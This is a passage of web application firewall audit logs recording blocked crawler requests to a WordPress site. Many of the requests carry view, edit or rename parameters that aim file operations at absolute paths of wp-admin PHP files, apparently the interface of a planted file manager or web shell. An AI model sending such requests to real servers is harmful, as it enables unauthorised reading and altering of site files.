\"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":292,"p2":2942,"p3":0,"p4":0,"p5":602,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.358147 +0100","transaction_id":"abPHfrJ190y1fElY11bdkgAAAJE","remote_address":"216.73.216.152","remote_port":49562,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fnetwork.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fc93f65472933652f07910b491e550f7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11504974"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fc93f65472933652f07910b491e550f7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/network.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":3032,"p3":0,"p4":0,"p5":510,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.448456 +0100","transaction_id":"abPHfqg_lPa2owFZ6_Pi_wAAARg","remote_address":"216.73.216.152","remote_port":49160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fcomment.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"42209644cd4cef28b215d4b4d4ad35e3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11504977"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"42209644cd4cef28b215d4b4d4ad35e3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/comment.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":301,"p2":3128,"p3":0,"p4":0,"p5":468,"sr":181,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.545174 +0100","transaction_id":"abPHflRY1ZHue1KnYxodtQAAAo4","remote_address":"216.73.216.152","remote_port":40200,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fwidgets.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"798d098ada2a082f8421e2c22311807b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13107961"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"798d098ada2a082f8421e2c22311807b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/widgets.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":291,"p2":2254,"p3":0,"p4":0,"p5":492,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.637063 +0100","transaction_id":"abPHflRY1ZHue1KnYxodtgAAAo4","remote_address":"216.73.216.152","remote_port":40200,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fedit-link-form.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ab361f62e6428761a941c745169124e0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7802073"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ab361f62e6428761a941c745169124e0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/edit-link-form.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":280,"p2":2691,"p3":0,"p4":0,"p5":464,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.726526 +0100","transaction_id":"abPHflRY1ZHue1KnYxoduAAAAo4","remote_address":"216.73.216.152","remote_port":40200,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fcustom-header.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"28444c7cfdb8b2c0933cbda80aba555a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13107966"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"28444c7cfdb8b2c0933cbda80aba555a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/custom-header.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":210,"p2":2349,"p3":0,"p4":0,"p5":497,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.819966 +0100","transaction_id":"abPHfrJ190y1fElY11bdlQAAAJM","remote_address":"216.73.216.152","remote_port":49164,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fupload.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b7e226ad1c4a5325c41c0a67be3f2f7a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4525494"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b7e226ad1c4a5325c41c0a67be3f2f7a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/upload.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":381,"p2":3210,"p3":0,"p4":0,"p5":457,"sr":190,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:19.706748 +0100","transaction_id":"abPIh1RY1ZHue1KnYxoehQAAAoU","remote_address":"216.73.216.152","remote_port":34784,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Foptions-head.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8e268a52bbae8f58a28ff0d0dbcb97d1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6985236"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8e268a52bbae8f58a28ff0d0dbcb97d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/options-head.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":198,"p2":2799,"p3":0,"p4":0,"p5":594,"sr":132,"sw":120,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:19.798350 +0100","transaction_id":"abPIh0xHnLkyPWuTIW5RsQAAAZM","remote_address":"216.73.216.152","remote_port":49402,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Foptions-general.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"425ef12e94aea85e0ab83faaae3572e5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6622001"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"425ef12e94aea85e0ab83faaae3572e5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/options-general.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":308,"p2":3136,"p3":0,"p4":0,"p5":625,"sr":132,"sw":144,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:19.888743 +0100","transaction_id":"abPIh0xHnLkyPWuTIW5RsgAAAZM","remote_address":"216.73.216.152","remote_port":49402,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Finstall-helper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e7b72607d500f95dc2ae6e4317a7ef8a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6622004"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e7b72607d500f95dc2ae6e4317a7ef8a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/install-helper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":339,"p2":3014,"p3":0,"p4":0,"p5":456,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.022055 +0100","transaction_id":"abPInk26I4peWFmz15yYwAAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health-info.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"26e45c664f3226207b9207644343ecaa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4590000"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"26e45c664f3226207b9207644343ecaa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health-info.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":208,"p2":2453,"p3":0,"p4":0,"p5":379,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.096120 +0100","transaction_id":"abPInk26I4peWFmz15yYwQAAAVc","remote_address":"216.73.216.152","remote_port":34828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a7b2eaf2d14ece2e1532d583a0267f45","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871549"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a7b2eaf2d14ece2e1532d583a0267f45","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2086,"p3":0,"p4":0,"p5":340,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.173223 +0100","transaction_id":"abPInm-XEucyBza91ntbVgAAAwY","remote_address":"216.73.216.152","remote_port":34840,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health-info.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ad9e6073455a61433e3ba48785938901","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871552"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ad9e6073455a61433e3ba48785938901","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health-info.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag 